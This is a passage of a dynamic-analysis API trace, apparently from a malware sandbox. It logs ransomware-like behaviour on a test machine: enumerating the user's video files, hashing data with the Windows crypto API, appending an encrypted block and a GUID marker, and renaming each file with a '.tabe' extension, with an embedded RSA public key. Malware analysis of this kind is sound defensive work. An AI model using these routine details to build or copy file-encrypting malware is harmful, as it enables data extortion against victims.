KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.752] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.753] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.753] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.753] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.753] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.753] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.753] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.753] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.753] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.753] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.754] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.754] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17f70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.754] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.755] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.755] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.755] CloseHandle (hObject=0x618) returned 1 [0126.756] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Bj-qSz4JB3ne.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bj-qsz4jb3ne.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Bj-qSz4JB3ne.flv.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bj-qsz4jb3ne.flv.tabe")) returned 1 [0126.757] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.757] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned=".ini" [0126.757] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6184b50, ftCreationTime.dwHighDateTime=0x1d5e5bb, ftLastAccessTime.dwLowDateTime=0x6138f7f0, ftLastAccessTime.dwHighDateTime=0x1d5e17e, ftLastWriteTime.dwLowDateTime=0x6138f7f0, ftLastWriteTime.dwHighDateTime=0x1d5e17e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="JTvtdCNymG6", cAlternateFileName="JTVTDC~1")) returned 1 [0126.757] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ee950, ftCreationTime.dwHighDateTime=0x1d5e2ff, ftLastAccessTime.dwLowDateTime=0x52a7f210, ftLastAccessTime.dwHighDateTime=0x1d5deb6, ftLastWriteTime.dwLowDateTime=0x52a7f210, ftLastWriteTime.dwHighDateTime=0x1d5deb6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="kG_PXJbnjFaNbAU-m", cAlternateFileName="KG_PXJ~1")) returned 1 [0126.757] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8baf2ba0, ftCreationTime.dwHighDateTime=0x1d5e5d7, ftLastAccessTime.dwLowDateTime=0x591302a0, ftLastAccessTime.dwHighDateTime=0x1d5e412, ftLastWriteTime.dwLowDateTime=0x591302a0, ftLastWriteTime.dwHighDateTime=0x1d5e412, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="LWdYNCSp0w4", cAlternateFileName="LWDYNC~1")) returned 1 [0126.757] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71607b40, ftCreationTime.dwHighDateTime=0x1d5e2a4, ftLastAccessTime.dwLowDateTime=0xed59d2f0, ftLastAccessTime.dwHighDateTime=0x1d5d85e, ftLastWriteTime.dwLowDateTime=0xed59d2f0, ftLastWriteTime.dwHighDateTime=0x1d5d85e, nFileSizeHigh=0x0, nFileSizeLow=0x8501, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="x7vfBX0W0Mt6Qrc12.mp4", cAlternateFileName="X7VFBX~1.MP4")) returned 1 [0126.757] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x7vfBX0W0Mt6Qrc12.mp4") returned=".mp4" [0126.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x7vfBX0W0Mt6Qrc12.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x7vfbx0w0mt6qrc12.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.758] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=34049) returned 1 [0126.758] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.759] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x84db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.759] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.760] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x8501, lpOverlapped=0x0) returned 1 [0126.761] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.761] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.761] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.761] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0126.762] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.762] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.762] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.762] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.762] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.762] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0126.762] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.762] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.762] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.762] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.762] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8501, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.762] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.763] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.763] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.763] CloseHandle (hObject=0x618) returned 1 [0126.763] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x7vfBX0W0Mt6Qrc12.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x7vfbx0w0mt6qrc12.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\x7vfBX0W0Mt6Qrc12.mp4.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x7vfbx0w0mt6qrc12.mp4.tabe")) returned 1 [0126.765] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cdb6a0, ftCreationTime.dwHighDateTime=0x1d5da03, ftLastAccessTime.dwLowDateTime=0xcfcc54f0, ftLastAccessTime.dwHighDateTime=0x1d5e737, ftLastWriteTime.dwLowDateTime=0xcfcc54f0, ftLastWriteTime.dwHighDateTime=0x1d5e737, nFileSizeHigh=0x0, nFileSizeLow=0xbcda, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Yl93aKe.avi", cAlternateFileName="")) returned 1 [0126.765] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Yl93aKe.avi") returned=".avi" [0126.765] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Yl93aKe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\yl93ake.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.765] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=48346) returned 1 [0126.765] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.766] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.766] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.767] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.767] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xbcda, lpOverlapped=0x0) returned 1 [0126.768] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.768] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.768] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.768] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0126.769] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.769] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.769] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.769] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.769] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.769] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0126.769] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.769] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.769] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.769] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.770] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xbcda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.770] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.770] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.770] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.770] CloseHandle (hObject=0x618) returned 1 [0126.771] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Yl93aKe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\yl93ake.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Yl93aKe.avi.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\yl93ake.avi.tabe")) returned 1 [0126.772] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cdb6a0, ftCreationTime.dwHighDateTime=0x1d5da03, ftLastAccessTime.dwLowDateTime=0xcfcc54f0, ftLastAccessTime.dwHighDateTime=0x1d5e737, ftLastWriteTime.dwLowDateTime=0xcfcc54f0, ftLastWriteTime.dwHighDateTime=0x1d5e737, nFileSizeHigh=0x0, nFileSizeLow=0xbcda, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Yl93aKe.avi", cAlternateFileName="")) returned 0 [0126.772] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.772] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.772] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.772] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.772] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0126.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0126.772] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.772] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.772] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.772] PathFindFileNameW (pszPath="") returned="" [0126.773] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.773] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.773] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Adobe", cAlternateFileName="")) returned 1 [0126.773] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0126.773] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Sun", cAlternateFileName="")) returned 1 [0126.773] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Sun", cAlternateFileName="")) returned 0 [0126.773] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.773] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.773] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.773] PeekMessageW 